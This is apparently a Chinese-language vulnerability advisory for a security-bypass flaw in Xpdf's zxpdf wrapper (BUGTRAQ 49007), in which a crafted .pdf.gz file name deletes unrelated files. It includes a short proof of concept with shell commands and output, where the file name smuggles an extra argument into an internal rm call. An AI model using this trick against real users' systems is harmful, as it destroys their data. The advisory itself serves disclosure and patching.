Linux更改pdf安全性,Xpdf “zxpdf”安全限制绕过漏洞

发布日期：2011-08-04

更新日期：2011-08-04

受影响系统：

Xpdf Xpdf 3.02-13

不受影响系统：

Xpdf Xpdf 3.02-19

描述：

--------------------------------------------------------------------------------

BUGTRAQ  ID: 49007

Xpdf是便携文档格式(PDF)文件的开放源码查看器。

Xpdf在zxpdf的实现上存在安全限制绕过漏洞，远程攻击者可利用此漏洞绕过安全限制，执行未授权操作。

通过特制的.pdf.gz文件名称(通过Web浏览器发送到浏览器)，只要文件名是单字符，xpdf可误删除不相关的文档。

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

$ touch y # The unrelated victim file

$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file

$ xpdf '" y ".pdf.gz' # View it using xpdf

Error: May not be a PDF file (continuing anyway)

Error: PDF file is damaged - attempting to reconstruct xref table...

Error: Couldn't find trailer dictionary

Error: Couldn't read xref table

rm: cannot remove `/tmp/': Is a directory

$ ls -l y # The victim file is gone!

ls: cannot access y: No such file or directory

建议：

--------------------------------------------------------------------------------

厂商补丁：

Xpdf

----

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：